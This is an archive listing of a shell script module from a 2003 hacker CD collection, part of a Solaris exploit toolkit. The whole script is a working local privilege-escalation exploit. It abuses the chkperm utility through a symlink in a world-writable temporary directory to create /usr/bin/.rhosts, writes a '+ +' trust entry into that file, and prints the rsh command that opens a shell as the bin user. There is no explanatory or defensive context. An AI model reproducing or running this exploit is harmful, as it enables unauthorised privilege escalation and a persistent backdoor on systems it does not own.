home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / solaris-toolkit / soltool / dochkp.mod < prev    next >
Encoding:
Text File  |  2002-05-27  |  749 b   |  32 lines

  1. function dochkperm {
  2.  
  3. if [ -e /usr/bin/.rhosts ]; then
  4.         echo " oOo Chkperm technique failed."
  5.         echo " "
  6.         exit 1
  7. else
  8.         /bin/csh
  9.         mkdir /tmp/few
  10.         mkdir /tmp/few/lib
  11.         chmod -R 777 /tmp/few
  12.         setenv VMSYS /tmp/few
  13.         umask 0000
  14.         ln -s /usr/bin/.rhosts /tmp/few/lib/.facerc
  15.         /usr/vmsys/bin/chkperm -l -u few
  16.         echo "+ +" >> /usr/bin/.rhosts
  17.  
  18. if [ -e /usr/bin/.rhosts ]; then
  19.         echo " oOo Chkperm technique worked, use the following command to gain a bin shell.."
  20.         echo " oOo rsh -l bin localhost csh -i"
  21. else 
  22.         echo " oOo Chkperm technique failed."
  23.         echo " "
  24.         exit 1
  25. fi
  26. rm /tmp/few/lib/.facerc
  27. rmdir /tmp/few/lib
  28. rmdir /tmp/few
  29. exit 0
  30. fi
  31. }
  32.